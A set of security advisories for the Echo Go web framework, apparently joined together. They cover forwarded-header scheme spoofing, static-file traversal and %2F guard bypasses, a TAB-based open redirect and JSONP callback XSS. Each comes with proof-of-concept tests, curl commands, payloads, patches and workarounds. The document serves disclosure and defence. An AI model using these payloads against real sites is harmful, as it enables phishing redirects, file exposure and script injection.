    if scheme := c.request.Header.Get(HeaderXUrlScheme); scheme != "" {
        return scheme
    }
    return "http"
}

Two additional issues with this implementation:

1. No value validation. Scheme() returns any arbitrary string from the header, not just "http" or "https". This breaks the documented contract ("returns the HTTP protocol scheme, http or https") and causes unexpected behavior in middleware that uses the return value to construct URLs (e.g., WWWRedirect builds scheme + "://www." + host + uri).

2. Consumed by security-critical middleware. The return value is used directly by redirect middleware (middleware/redirect.go:136) and secure middleware (middleware/secure.go:125) for security enforcement decisions.

Affected components

| Component | File | Line(s) | Impact | |-----------|------|---------|--------| | Context.Scheme() | context.go | 161–181 | Returns attacker-controlled scheme | | HTTPSRedirect | middleware/redirect.go | 147–151 | HTTPS enforcement bypassed | | HTTPSWWWRedirect | middleware/redirect.go | 154–161 | HTTPS enforcement bypassed | | HTTPSNonWWWRedirect | middleware/redirect.go | 163–170 | HTTPS enforcement bypassed | | WWWRedirect | middleware/redirect.go | 172–177 | URL constructed with arbitrary scheme | | NonWWWRedirect | middleware/redirect.go | 179–184 | URL constructed with arbitrary scheme | | Secure middleware (HSTS) | middleware/secure.go | 125 | HSTS header suppressed |

This is an unsafe-by-default API surface, not just misconfiguration

This behavior is not accidental — it is codified in the project's own test suite. For example, middleware/redirect_test.go (lines 29–34) explicitly asserts that X-Forwarded-Proto: https on an HTTP request results in 200 OK (no redirect):

{
    whenHost:         "labstack.com",
    whenHeader:       map[string][]string{echo.HeaderXForwardedProto: {"https"}},
    expectLocation:   "",
    expectStatusCode: http.StatusOK,
},

Similarly, middleware/secure_test.go (lines 42–53) and context_test.go (lines 1104–1111) assert that scheme is derived from the header.

The problem is not that the framework can use forwarded headers — that is legitimate behind a trusted proxy. The problem is that there is no mechanism to control whether this trust is appropriate, unlike the existing IP header trust model. Scheme() always trusts the headers, making any middleware that depends on it unsafe-by-default.

Inconsistency with existing trust model

Echo already recognizes this class of header-trust vulnerability for IP addresses. The IPExtractor mechanism with TrustOption (TrustLoopback, TrustPrivateNet, TrustLinkLocal, TrustIPRange) was introduced specifically because:

"you must not trust HTTP headers unconditionally. Otherwise, you might give someone a chance of deceiving you. A security risk!" — ip.go, lines 20–21

"If you put no proxy (e.g., directly facing the internet), all you need to (and have to) see is IP address from network layer. Any HTTP header is untrustable because the clients have full control what headers to be set." — ip.go, lines 36–38

No equivalent mechanism exists for scheme detection. Scheme() unconditionally trusts all four forwarded headers with no configuration, opt-in, or documentation warning.

Note on proxies and the "3 additional headers"

A correctly configured nginx proxy_set_header X-Forwarded-Proto $scheme; overwrites X-Forwarded-Proto with the actual incoming scheme. When a proxy does this, X-Forwarded-Proto is trustworthy and the three fallback headers (X-Forwarded-Protocol, X-Forwarded-Ssl, X-Url-Scheme) are never reached because X-Forwarded-Proto takes precedence in Scheme().

The three additional headers become real attack vectors specifically when:

• The proxy does not set X-Forwarded-Proto at all (common in default proxy configs), or
• The application is directly exposed (Scenario A above).

In such cases, an attacker can bypass via any of the four headers. The main vulnerability (HTTPS redirect bypass via X-Forwarded-Proto on a directly exposed app) does not depend on the additional headers.

Impact

HTTPS downgrade / MITM: An attacker who can reach the Echo HTTP endpoint directly can prevent HTTPS redirection, keeping client traffic on plaintext HTTP and enabling man-in-the-middle attacks.

HSTS suppression: Behind a TLS-terminating proxy, spoofing X-Forwarded-Proto: http prevents the Strict-Transport-Security header from being sent. When the response ultimately reaches the client over HTTPS (via the proxy), the missing HSTS header weakens browser-side HTTPS enforcement. Note: browsers ignore HSTS received over plain HTTP, so the practical risk is specifically in the suppression scenario behind a TLS-terminating proxy, not in injecting HSTS on HTTP.

URL construction with arbitrary scheme: WWWRedirect and NonWWWRedirect use c.Scheme() to build redirect URLs (scheme + "://www." + host + uri). An attacker can inject arbitrary strings (e.g., javascript:, data:) as the scheme component of redirect URLs.

Proof of Concept

Tested on Echo v5.0.4 (commit fa5311b, 2026-02-15).

PoC 1: HTTPS Redirect Bypass (Go test)

package echo_test

import (
    "net/http"
    "net/http/httptest"
    "testing"

    "github.com/labstack/echo/v5"
    "github.com/labstack/echo/v5/middleware"
)

func TestHTTPSRedirectBypass(t *testing.T) {
    e := echo.New()
    e.Pre(middleware.HTTPSRedirect())
    e.GET("/", func(c *echo.Context) error {
        return c.String(http.StatusOK, "served over: "+c.Scheme())
    })

    // Normal HTTP → should redirect
    req := httptest.NewRequest(http.MethodGet, "/", nil)
    rec := httptest.NewRecorder()
    e.ServeHTTP(rec, req)
    if rec.Code != http.StatusMovedPermanently {
        t.Fatalf("expected 301, got %d", rec.Code)
    }
    t.Logf("Normal HTTP → %d (redirect to %s)", rec.Code, rec.Header().Get("Location"))

    // Attack: all 4 headers bypass the redirect
    headers := map[string]string{
        "X-Forwarded-Proto":    "https",
        "X-Forwarded-Protocol": "https",
        "X-Forwarded-Ssl":      "on",
        "X-Url-Scheme":         "https",
    }
    for name, value := range headers {
        req := httptest.NewRequest(http.MethodGet, "/", nil)
        req.Header.Set(name, value)
        rec := httptest.NewRecorder()
        e.ServeHTTP(rec, req)
        if rec.Code == http.StatusOK {
            t.Errorf("BYPASS via %s: %s → %d (no redirect!)", name, value, rec.Code)
        }
    }
}

PoC 2: curl examples (easiest to reproduce)

Start a minimal Echo server:

package main

import (
    "net/http"
    "github.com/labstack/echo/v5"
    "github.com/labstack/echo/v5/middleware"
)

func main() {
    e := echo.New()
    e.Pre(middleware.HTTPSRedirect())
    e.GET("/", func(c *echo.Context) error {
        return c.String(http.StatusOK, "Hello on "+c.Scheme())
    })
    e.Start(":8080")
}

Then:

# Normal HTTP → 301 redirect (expected)
$ curl -I http://localhost:8080/
HTTP/1.1 301 Moved Permanently
Location: https://localhost:8080/

# Attack: bypass via X-Forwarded-Proto
$ curl -H "X-Forwarded-Proto: https" http://localhost:8080/
Hello on https

# Attack: bypass via X-Forwarded-Protocol
$ curl -H "X-Forwarded-Protocol: https" http://localhost:8080/
Hello on https

# Attack: bypass via X-Forwarded-Ssl
$ curl -H "X-Forwarded-Ssl: on" http://localhost:8080/
Hello on https

# Attack: bypass via X-Url-Scheme
$ curl -H "X-Url-Scheme: https" http://localhost:8080/
Hello on https

PoC 3: Arbitrary scheme in redirect URL (WWWRedirect)

func TestArbitrarySchemeInRedirect(t *testing.T) {
    e := echo.New()
    e.Pre(middleware.WWWRedirect())
    e.GET("/", func(c *echo.Context) error {
        return c.String(http.StatusOK, "ok")
    })

    req := httptest.NewRequest(http.MethodGet, "/", nil)
    req.Host = "example.com"
    req.Header.Set("X-Forwarded-Proto", "javascript")
    rec := httptest.NewRecorder()
    e.ServeHTTP(rec, req)

    // Redirect Location uses the spoofed scheme
    loc := rec.Header().Get("Location")
    // loc == "javascript://www.example.com/" — violates http/https contract
    t.Logf("Status: %d, Location: %s", rec.Code, loc)
}

PoC 4: HSTS Suppression

func TestHSTSSuppression(t *testing.T) {
    e := echo.New()
    e.Use(middleware.SecureWithConfig(middleware.SecureConfig{HSTSMaxAge: 31536000}))
    e.GET("/", func(c *echo.Context) error {
        return c.String(http.StatusOK, "ok")
    })

    // Legitimate: proxied HTTPS should have HSTS
    req := httptest.NewRequest(http.MethodGet, "/", nil)
    req.Header.Set("X-Forwarded-Proto", "https")
    rec := httptest.NewRecorder()
    e.ServeHTTP(rec, req)
    if h := rec.Header().Get("Strict-Transport-Security"); h == "" {
        t.Fatal("HSTS missing when it should be present")
    }

    // Attack: suppress HSTS by spoofing "http"
    // In production: app behind TLS-terminating proxy, proxy delivers response
    // to client over HTTPS, but HSTS header is absent due to spoofed header
    req2 := httptest.NewRequest(http.MethodGet, "/", nil)
    req2.Header.Set("X-Forwarded-Proto", "http")
    rec2 := httptest.NewRecorder()
    e.ServeHTTP(rec2, req2)
    if h := rec2.Header().Get("Strict-Transport-Security"); h == "" {
        t.Error("VULNERABLE: HSTS suppressed via X-Forwarded-Proto: http")
    }
}

Test output (all attacks succeed)

=== RUN   TestHTTPSRedirectBypass
    Normal HTTP → 301 (redirect to https://example.com/)
    BYPASS via X-Forwarded-Proto: https → 200 (no redirect!)
    BYPASS via X-Forwarded-Protocol: https → 200 (no redirect!)
    BYPASS via X-Forwarded-Ssl: on → 200 (no redirect!)
    BYPASS via X-Url-Scheme: https → 200 (no redirect!)

=== RUN   TestArbitrarySchemeInRedirect
    Status: 301, Location: javascript://www.example.com/

=== RUN   TestHSTSSuppression
    VULNERABLE: HSTS suppressed via X-Forwarded-Proto: http

Precedent CVEs

• CVE-2018-1193 — Cloud Foundry GoRouter: unverified X-Forwarded-Proto header trusted for scheme, enabling HTTPS enforcement bypass. Fixed by adding sanitize_forwarded_proto option.
• CVE-2025-41235 — Spring Cloud Gateway: trusting forwarded headers without explicit proxy configuration, enabling HTTPS redirect bypass. Fixed by requiring trusted proxy configuration.

Suggested fix

Option A: SchemeExtractor (recommended, backward-compatible with opt-in)

Add a SchemeExtractor mechanism analogous to the existing IPExtractor, where the extractor decides whether to trust forwarded headers based on RemoteAddr or trusted proxy ranges:

type SchemeExtractor func(req *http.Request) string

// ExtractSchemeDirect ignores all forwarded headers (secure default)
func ExtractSchemeDirect() SchemeExtractor { ... }

// ExtractSchemeFromXFFHeader trusts X-Forwarded-Proto from trusted sources
func ExtractSchemeFromXFFHeader(options ...TrustOption) SchemeExtractor { ... }

Usage:

// Secure: directly exposed, ignore headers
e.SchemeExtractor = echo.ExtractSchemeDirect()

// Behind trusted proxy
e.SchemeExtractor = echo.ExtractSchemeFromXFFHeader(
    echo.TrustIPRange(proxySubnet),
)

The default should be secure. For backward compatibility, a migration period with deprecation warnings for the legacy behavior may be appropriate.

Option B: Minimal hardening (does NOT fix the bypass, but fixes the contract violation)

Scheme() should validate that the returned value is "http" or "https", rejecting arbitrary strings. This prevents the "arbitrary scheme in redirect URL" issue but does not address the core HTTPS redirect bypass (because "https" is a valid value that the attacker injects).

Both options should be applied together.

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. Context.Scheme() now uses the X-Forwarded-Proto, X-Forwarded-Protocol, X-Forwarded-Ssl and X-Url-Scheme headers only when the request comes directly from a loopback, link-local or private network address or a unix socket. When X-Forwarded-Proto is present, only its last value is used. The new Echo#SchemeExtractor selects the strategy (ExtractSchemeFromHeaders, ExtractSchemeDirect, LegacySchemeExtractor). The Secure middleware sets HSTS from Context.Scheme(), and the Proxy middleware always sets X-Forwarded-Proto and removes the other scheme headers.

Workarounds

If a proxy or load balancer connects to your application from a public address, trust its address ranges after upgrading, for example e.SchemeExtractor = echo.ExtractSchemeFromHeaders(echo.TrustIPRange(proxyRange)); otherwise HTTPSRedirect redirects in a loop. If you cannot upgrade, make sure every request passes through a proxy that overwrites X-Forwarded-Proto and removes X-Forwarded-Protocol, X-Forwarded-Ssl and X-Url-Scheme, and that the application cannot be reached directly.

Summary

Echo v5.2.0 contains a bypass of the fix for GHSA-vfp3-v2gw-7wfq. The fix rejects encoded path separators such as %2F and %5C before static file path unescaping, but two traversal forms still bypass route-level middleware protections for static files.

The primary bypass uses encoded dot-dot segments. A request such as /public/%2E%2E/admin/secret.txt passes the encoded-separator guard, is unescaped to public/../admin/secret.txt, then path.Clean resolves it to admin/secret.txt. If /admin/* is protected by middleware but the static filesystem is mounted at /, the protected file is returned through the public static route.

A second bypass exists when UseEscapedPathForMatching=true. In that mode, the router normalizes encoded separators before the static handler checks the wildcard. The handler receives a decoded wildcard with no % characters, so the encoded-separator guard does not run on the original encoded path.

Impact

An unauthenticated attacker can read files that an application intended to protect with route-level middleware, when those files are also reachable through a static filesystem mount after path normalization.

The high-severity variant works with the default router configuration and requires only encoded dot-dot path segments. The direct protected route returns 403, while the public static route returns the protected file content.

The UseEscapedPathForMatching=true variant is lower severity because it requires a non-default router configuration.

Affected versions

Tested vulnerable:

• github.com/labstack/echo/v5 v5.2.0
• Current master at 5786024ea4d85c01784796e8aa7aac53e007b39b

No patched version is currently known.

Policy and version checks

GitHub Private Vulnerability Reporting is enabled for labstack/echo. The repository has a root SECURITY.md and accepts security reports through GitHub Security Advisories.

The vulnerable code was revalidated on both current master and the latest release tag:

• Current master: 5786024ea4d85c01784796e8aa7aac53e007b39b
• Latest release: v5.2.0, published June 14 2026
• Package: github.com/labstack/echo/v5

The same focused Go tests pass on the checked out v5.2.0 / master commit, proving the bypass remains present in the latest released version and latest main branch at the time of reporting.

Reproduction

The following application shape reproduces the high-severity bypass:

e := echo.New()

g := e.Group("/admin", func(next echo.HandlerFunc) echo.HandlerFunc {
    return func(c echo.Context) error {
        return echo.NewHTTPError(http.StatusForbidden)
    }
})
g.GET("/*", handler)

e.StaticFS("/", fsysWithAdminSecret)

Control request:

GET /admin/secret.txt

Observed result:

403 Forbidden

Bypass request:

GET /public/%2E%2E/admin/secret.txt

Observed result:

200 OK
TOP-SECRET

For the non-default router variant:

e := echo.New()
e.router = echo.NewRouter(echo.RouterConfig{
    UseEscapedPathForMatching: true,
})

g := e.Group("/admin", authMiddlewareReturning403)
g.GET("/*", handler)

e.StaticFS("/", fsysWithAdminSecret)

Bypass request:

GET /public%2F..%2Fadmin%2Fsecret.txt

Observed result:

200 OK
TOP-SECRET

Proof of concept evidence

I added focused tests against the current Echo codebase. The tests exercise both StaticDirectoryHandler and the static middleware path.

Command:

go test -run TestHostile -v ./...

Observed result:

=== RUN   TestHostile_StaticDirectoryHandler_EncodedSeparatorsBlocked
--- PASS: TestHostile_StaticDirectoryHandler_EncodedSeparatorsBlocked (0.00s)
=== RUN   TestHostile_StaticDirectoryHandler_EncodedDotDotBypass
--- PASS: TestHostile_StaticDirectoryHandler_EncodedDotDotBypass (0.00s)
=== RUN   TestHostile_UseEscapedPathForMatching_Bypass
--- PASS: TestHostile_UseEscapedPathForMatching_Bypass (0.00s)
PASS
ok  github.com/labstack/echo/v5  0.013s
=== RUN   TestHostile_StaticMiddleware_EncodedSeparatorsBlocked
--- PASS: TestHostile_StaticMiddleware_EncodedSeparatorsBlocked (0.01s)
=== RUN   TestHostile_StaticMiddleware_EncodedDotDotBypass
--- PASS: TestHostile_StaticMiddleware_EncodedDotDotBypass (0.00s)
=== RUN   TestHostile_StaticMiddleware_DisablePathUnescaping
--- PASS: TestHostile_StaticMiddleware_DisablePathUnescaping (0.00s)
PASS
ok  github.com/labstack/echo/v5/middleware  0.012s

The control tests also confirm that the new fix blocks encoded separators such as %2F, %5C, double-encoded slash values, null bytes, and overlong slash encodings.

Root cause

The fix for GHSA-vfp3 uses a denylist-style guard that checks for encoded path separators before unescaping the static wildcard. This blocks %2F and %5C, but does not block encoded traversal segments such as %2E%2E.

The vulnerable flow is:

1. The static route wildcard accepts public/%2E%2E/admin/secret.txt.
2. The encoded-separator guard sees no %2F or %5C and allows the request.
3. The handler unescapes the wildcard to public/../admin/secret.txt.
4. path.Clean resolves it to admin/secret.txt.
5. The file is served through the public static route instead of the protected /admin/* route.

For UseEscapedPathForMatching=true, the router decodes the path before the static handler sees the wildcard, so the handler cannot detect that encoded separators were used in the original request.

Remediation

Do not rely only on detecting encoded separators. Reject encoded traversal sequences before unescaping, and reject normalized wildcard values that cross route or static mount boundaries.

Possible fixes:

1. Extend the pre-unescape guard to reject encoded dot segments such as %2E and %2E%2E in path components.
2. After unescaping, reject any wildcard where cleaning changes the path in a way that removes . or .. components.
3. For UseEscapedPathForMatching=true, run the static-file guard against the original escaped request path before router normalization, or preserve metadata that the matched wildcard came from encoded separators.

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. The Static middleware and StaticDirectoryHandler (used by Echo.Static, Echo.StaticFS, Group.Static and Group.StaticFS) no longer serve paths with a ., .. or empty segment, including after path unescaping. The encoded variant of the first vector (/public/%2E%2E/admin/secret.txt) was already fixed in v5.2.1 and v4.15.4 (GHSA-vfp3-v2gw-7wfq).

Workarounds

Put a reverse proxy in front of the application that normalizes request paths (removes dot segments and merges slashes), or keep protected files outside the served directory.

Summary

Echo's dedicated open-redirect guard, sanitizeURI, decides whether a redirect target is a local path by inspecting exactly two byte positions: uri[0] and uri[1]. If the value begins with a control character such as a tab or a newline, followed by a separator pair, the guard does not fire and the value is written to the Location header unchanged.

Browsers remove tab and newline characters from URLs before parsing them, and treat a backslash as a forward slash for HTTP and HTTPS URLs. A Location value of /\t/attacker.example is therefore resolved by the browser as an absolute URL on attacker.example. Confirmed end to end in a headless browser.

Technical background

The guard

middleware/slash.go:144 (duplicated verbatim at echo.go:958):

func sanitizeURI(uri string) string {
	// double slash `\\`, `//` or even `\/` is absolute uri for browsers and by redirecting request to that uri
	// we are vulnerable to open redirect attack. so replace all slashes from the beginning with single slash
	if len(uri) > 1 && (uri[0] == '\\' || uri[0] == '/') && (uri[1] == '\\' || uri[1] == '/') {
		uri = "/" + strings.TrimLeft(uri, `/\`)
	}
	return uri
}

The condition is anchored at absolute offsets 0 and 1. It cannot see a separator that has been shifted by one byte.

Data flow

1. RemoveTrailingSlash (middleware/slash.go:112-140) reads url.Path, which net/http has already percent-decoded, strips the trailing slash, and appends the raw query string:

path := url.Path
...
if l > 0 && strings.HasSuffix(path, "/") {
    path = path[:l]
    uri := path
    if qs != "" {
        uri += "?" + qs
    }
    if config.RedirectCode != 0 {
        return c.Redirect(config.RedirectCode, sanitizeURI(uri))   // line 132
    }

2. AddTrailingSlash does the same in the opposite direction at middleware/slash.go:67.

3. A request for /%09/attacker.example/x/ has url.Path equal to "/\t/attacker.example/x/" (a literal TAB byte). sanitizeURI evaluates uri[0] == '\t', the condition is false, and the value passes through untouched.

4. Context.Redirect (context.go:735) writes it to the Location header. Go's header writer removes CR and LF but leaves TAB, which is all that is required.

Conditional analysis

• Guard: uri[0] and uri[1] are separators. Trust boundary: server-side sanitization of attacker-influenced path data.
• Bypass: place a single control byte before the separator pair. The separator moves to index 1 and the guard's second condition (uri[1] being a separator) is never reached because the first condition (uri[0] being a separator) already failed.
• Browser-side trust boundary: the client's URL parser. It is adversary favourable: control characters are stripped and backslashes are normalized before scheme and authority parsing. The attacker does not need any server-side weakness beyond producing the malformed Location.

Note that the newline variant does not survive: net/http replaces CR and LF in header values. TAB does survive, and TAB alone is sufficient because the browser strips it.

Proof of concept

Attached PoC: ECHO-2026-002_poc.zip (in this directory). Extract it and follow ECHO-2026-002/README.md for the full walkthrough. The archive contains a self-contained Go module (go.mod, go.sum, main.go, README.md).

ECHO-2026-002_poc.zip

Quick start:

unzip ECHO-2026-002_poc.zip
cd ECHO-2026-002
# edit go.mod: point the replace directive at your Echo checkout
sed -i 's|=> .*|=> /absolute/path/to/echo|' go.mod
GOFLAGS=-mod=mod go run .          # in-process check
GOFLAGS=-mod=mod go run . -serve   # real listener on 127.0.0.1:18002

Environment used for verification

• OS: Linux 6.18.33.2-microsoft-standard-WSL2, x86_64
• Go: go1.27.0 linux/amd64
• Target: Echo v5.3.1 (module github.com/labstack/echo/v5)
• Browser: headless Chromium drove the end-to-end confirmation

The vulnerable configuration

package main

import (
    "net/http"

    "github.com/labstack/echo/v5"
    "github.com/labstack/echo/v5/middleware"
)

func main() {
    e := echo.New()
    e.Pre(middleware.RemoveTrailingSlashWithConfig(middleware.RemoveTrailingSlashConfig{
        RedirectCode: http.StatusMovedPermanently,
    }))
    e.GET("/", func(c *echo.Context) error { return c.String(200, "home") })
    _ = e.Start("127.0.0.1:18002")
}

Reproduction

In-process check. The program requests five path shapes and applies the browser URL-parsing steps that matter (strip TAB, LF, CR; treat a backslash as a slash; a leading // starts an authority):

GOFLAGS=-mod=mod go run .

GET                          code   Location (control chars shown) browser navigates to
/normal/path/                301    /normal/path           (victim origin)
                             control: ordinary path, sanitized correctly
/%09/attacker.example/x/     301    /^I/attacker.example/x attacker.example
                             exploit: TAB then slash
/%09%5Cattacker.example/x/   301    /^I\attacker.example/x attacker.example
                             exploit: TAB then backslash
/..%09/attacker.example/     301    /..^I/attacker.example (victim origin)
                             NOT exploitable: TAB is not at index 1
/%09//attacker.example/      301    /^I//attacker.example  (victim origin)
                             NOT exploitable: three slashes is an empty authority

RESULT: reproducible. ...

^I is a literal TAB byte. The last two rows are deliberate negatives, included so the mechanism (the guard reads only uri[0] and uri[1]) is unambiguous.

Over the wire, with the -serve variant running on 127.0.0.1:18002:

1. Show the malformed Location on the wire. No backslash is needed for this variant:

curl -s -i --max-time 5 'http://127.0.0.1:18002/%09/attacker.example/x/' | cat -A | head -3
# HTTP/1.1 301 Moved Permanently
# Location: /^I/attacker.example/x

cat -A renders the tab as ^I, confirming it is a literal byte in the header.

2. Show that LF does NOT work, which proves the mechanism is the guard's fixed byte offsets rather than generic header injection:

curl -s -i --max-time 5 'http://127.0.0.1:18002/%0A/attacker.example/x/' | cat -A | head -3
# Location: / /attacker.example/x     (net/http rewrote LF to a space)

3. Confirm a browser leaves the origin. Start any HTTP server on port 18099, then open this URL in a browser:

http://127.0.0.1:18002/%09/127.0.0.1:18099/x/

Observed in headless Chromium:

finalUrl: http://127.0.0.1:18099/x

The browser left the victim origin entirely, so this is a working open redirect, not merely a suspicious header.

Exit status 0 means the finding reproduced; 1 means an expectation was violated.

Impact

An attacker can craft a link on the victim domain that redirects the victim to an arbitrary external site. Practical consequences:

• Phishing: the trusted domain name appears in the link and in the initial navigation, which defeats the usual "check the domain" advice.
• OAuth and SSO token theft: any flow that permits a redirect target on the trusted origin and relies on that origin's redirects being local can be chained to leak authorization codes or access tokens.
• Referrer and cache poisoning of downstream logic that treats the victim origin's redirects as trustworthy.

The client must follow the redirect (user interaction is required), which is why this is scored Medium rather than High, but open redirects on authentication-adjacent origins routinely escalate in practice.

Recommended fixes

Normalize before deciding, instead of probing two fixed offsets.

func sanitizeURI(uri string) string {
	// Strip control characters that browsers remove before parsing, so they cannot
	// be used to shift a separator out of the checked positions.
	uri = strings.Map(func(r rune) rune {
		if r < 0x20 || r == 0x7f {
			return -1
		}
		return r
	}, uri)
	// Collapse any leading separator run (both slash kinds) to a single slash.
	if strings.ContainsAny(uri[:min(len(uri), 1)], `/\`) {
		trimmed := strings.TrimLeft(uri, `/\`)
		if len(trimmed) != len(uri) {
			return "/" + trimmed
		}
	}
	return uri
}

Additional hardening:

1. Reject the request with 400 when the decoded path contains control characters, rather than attempting to sanitize. A path containing a raw TAB or NUL is malformed under RFC 3986 and has no legitimate use.
2. Apply the same normalization to the Location value in Context.Redirect so every caller benefits, instead of relying on each call site to call sanitizeURI.
3. Add a regression test for each variant (%09/, %09%5C, %0A/) against both trailing-slash middlewares. There is currently no test that asserts sanitizeURI behavior at all.

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. The trailing slash middlewares and the static directory redirect percent-encode control characters in the redirect path before collapsing leading slashes, so a browser can no longer be sent to another host.

Workarounds

Use the trailing slash middlewares without RedirectCode (the default rewrites the path internally instead of redirecting), or reject request paths that contain control characters before these middlewares.

Summary

When middleware.Static is mounted globally (e.Use(middleware.Static(...))) and an application relies on a route- or group-level middleware guard to restrict a path that also falls under the served static root, a %2F-encoded request bypasses that guard while the file is still served. This is the same encoding/decoding mismatch fixed for StaticFS/StaticDirectoryHandler in CVE-2026-55677 / GHSA-vfp3-v2gw-7wfq, but the fix did not cover the middleware.Static path. In addition, the StaticConfig.EnablePathUnescaping docstring states the default configuration prevents exactly this bypass, which is inaccurate for the global-mount case.

This is not path traversal: no file outside the static root is accessed. The served file lives inside the static root; the issue is that access-control expectations set by a route guard are inconsistent between the literal and %2F-encoded forms of the same path.

Details

Root cause — the router and the static handler disagree on how to interpret %2F:

• The router matches routes on the raw, still-encoded path, so GET /admin%2Fsecret.txt does not match a /admin/... route or group; any middleware attached to that route/group is therefore skipped.
• middleware.Static selects its path source in middleware/static.go (~L219): with a global e.Use mount there is no wildcard route, so it uses c.Request().URL.Path, which net/http has already decoded (%2F → /). It then path.Cleans (~L235) and Opens (~L259) admin/secret.txt, serving the file.

Net effect: for the literal path the guard runs; for the %2F-encoded path the guard is skipped but the same file is served.

Relevant code:

• middleware/static.go ~L219 (p := c.Request().URL.Path), ~L235 (path.Clean), ~L259 (currentFS.Open)
• StaticConfig.EnablePathUnescaping docstring (static.go ~L60-67) — claims the default prevents the /admin%2fprivate.txt → /admin/* guard bypass; this is not true for the global mount.

Relationship to prior advisories:

• CVE-2026-55677 / GHSA-vfp3-v2gw-7wfq (patched 5.2.0): same %2F router-vs-handler mismatch, but fixed for StaticFS/StaticDirectoryHandler. The middleware.Static path was not covered — this report is that gap.
• CVE-2026-25766 / GHSA-pgvm-wxw2-hrv9 (patched 5.0.3): a different issue (Windows backslash traversal outside the root). Referenced only to disambiguate; not the same as this report.

PoC

Environment: golang:1.25, module using the official release (go get github.com/labstack/echo/v5@v5.3.1, no local replace). Static root public/ contains a marker file public/admin/secret.txt = SECRET.

Minimal app (the pattern under test: static served globally + a group guard intended to protect /admin):

package main

import (
	"net/http"

	"github.com/labstack/echo/v5"
	"github.com/labstack/echo/v5/middleware"
)

func main() {
	e := echo.New()
	e.Use(middleware.Static("public")) // serves ./public globally (default filesystem)

	admin := e.Group("/admin", func(next echo.HandlerFunc) echo.HandlerFunc {
		return func(c *echo.Context) error { return c.String(http.StatusUnauthorized, "auth required") }
	})
	admin.GET("/secret.txt", func(c *echo.Context) error { return c.String(http.StatusOK, "handler") })

	e.Start(":1323")
}

Requests (unauthenticated):

# Literal: route matches -> group guard runs
curl -i http://localhost:1323/admin/secret.txt
# => 401

# %2F-encoded: route does NOT match -> guard skipped, but middleware.Static serves the file
curl -i --path-as-is http://localhost:1323/admin%2Fsecret.txt
# => 200, body: SECRET

Observed on v5.3.1: literal → 401; %2F → 200 with the file contents. For contrast, serving via the (patched) e.StaticFS("/") returns 404 for the same %2F request, showing the middleware.Static path was not covered by the CVE-2026-55677 fix.

Impact

An unauthenticated remote user can retrieve a file served by middleware.Static even when the application attached a route/group middleware guard to that path, by substituting / with %2F. The consequence is limited to files already inside the served static root (CWE-863 authorization inconsistency; CWE-436 interpretation conflict) — there is no access to files outside the static root.

Honest caveat on validity / severity: this only has security impact for applications that (a) serve a directory statically to the public and (b) place a sensitive file inside that same directory while relying on a route-level guard to protect it. That combination is arguably a misconfiguration — a statically-served directory is public by design — so maintainers may reasonably classify this as a documentation fix (correct the EnablePathUnescaping claim) or won't-fix rather than a code vulnerability. It is filed primarily because (1) the router-vs-handler %2F inconsistency is the exact class fixed in CVE-2026-55677 but left uncovered for middleware.Static, and (2) the docstring currently promises protection it does not provide.

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. With the default settings, the Static middleware resolves files from the same form of the path that the router matched, so percent-encoded paths such as /admin%2Fsecret.txt or /%61dmin/secret.txt no longer reach a file under a guarded route. Paths with ., .. or empty segments are no longer served.

Note: middleware registered with Echo#Use runs before route and group middleware, so route guards never protect files served by a global Static middleware. Keep protected files outside its root directory, or serve them with Echo#Static behind the guard.

Workarounds

Keep files that need protection outside the Static middleware's root directory.

Summary

The Context.JSONP, Context.JSONPBlob, and internal jsonPBlob helper in context.go directly concatenate the caller-supplied callback parameter into a JavaScript response without any validation, escaping, or allow-listing.

This creates a high-impact reflected XSS that can be triggered by any route passing attacker-controlled data (query string, form, header, path param, etc.) into the callback.

Present in current master and v5.1.0 (latest release).

Vulnerable Code (verbatim)

func (c *Context) jsonPBlob(code int, callback string, i any) (err error) {
	c.writeContentType(MIMEApplicationJavaScriptCharsetUTF8)
	c.response.WriteHeader(code)
	if _, err = c.response.Write([]byte(callback + "(")); err != nil {
		return
	}
	if err = c.echo.JSONSerializer.Serialize(c, i, ""); err != nil {
		return
	}
	if _, err = c.response.Write([]byte(");")); err != nil {
		return
	}
	return
}

func (c *Context) JSONP(code int, callback string, i any) (err error) {
	return c.jsonPBlob(code, callback, i)
}

func (c *Context) JSONPBlob(code int, callback string, b []byte) (err error) {
	c.writeContentType(MIMEApplicationJavaScriptCharsetUTF8)
	c.response.WriteHeader(code)
	if _, err = c.response.Write([]byte(callback + "(")); err != nil {
		return
	}
	if _, err = c.response.Write(b); err != nil {
		return
	}
	_, err = c.response.Write([]byte(");"))
	return
}

No sanitization is performed on the callback string.

Exploit (one-request repro)

Any route using the official pattern is vulnerable:

Goe.GET("/api", func(c echo.Context) error {
    return c.JSONP(200, c.QueryParam("callback"), map[string]string{"status": "ok"})
})

Attacker request:

GET /api?callback=alert(document.domain)%2f%2f HTTP/1.1
Host: target.com

Server response:

Content-Type: application/javascript; charset=utf-8

alert(document.domain)//({"status":"ok"});

→ Immediate arbitrary JavaScript execution (full reflected XSS).

Impact

• Session hijacking, cookie theft, account takeover, keylogging, defacement.
• Works even with strict CSP (response is served as application/javascript).

Affected Versions

• All versions ≤ v5.1.0 (including current master)

Workarounds

Manually sanitize the callback before calling JSONP/JSONPBlob:

Gofunc safeCallback(cb string) string {
    if matched, _ := regexp.MatchString(`^[a-zA-Z0-9_.\[\]]+$`, cb); !matched {
        return "callback"
    }
    return cb
}

Or migrate away from JSONP entirely (use CORS + application/json).

References

• https://github.com/labstack/echo/blob/master/context.go
• https://echo.labstack.com/docs/cookbook/jsonp

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. Context.JSONP and Context.JSONPBlob accept only a callback that is empty, a JavaScript identifier or a dot-separated path of identifiers (ASCII letters, digits, _ and $); any other callback returns a 400 Bad Request error wrapping ErrInvalidJSONPCallback and nothing is written. JSONP responses also carry X-Content-Type-Options: nosniff.

Workarounds

Validate the callback in your handler before calling Context.JSONP, for example against ^[A-Za-z_$][A-Za-z0-9_$]*(\.[A-Za-z_$][A-Za-z0-9_$]*)*$, and set X-Content-Type-Options: nosniff. JSONP responses can be read by any website with the user's cookies, so do not serve data that requires authentication through JSONP.

Summary

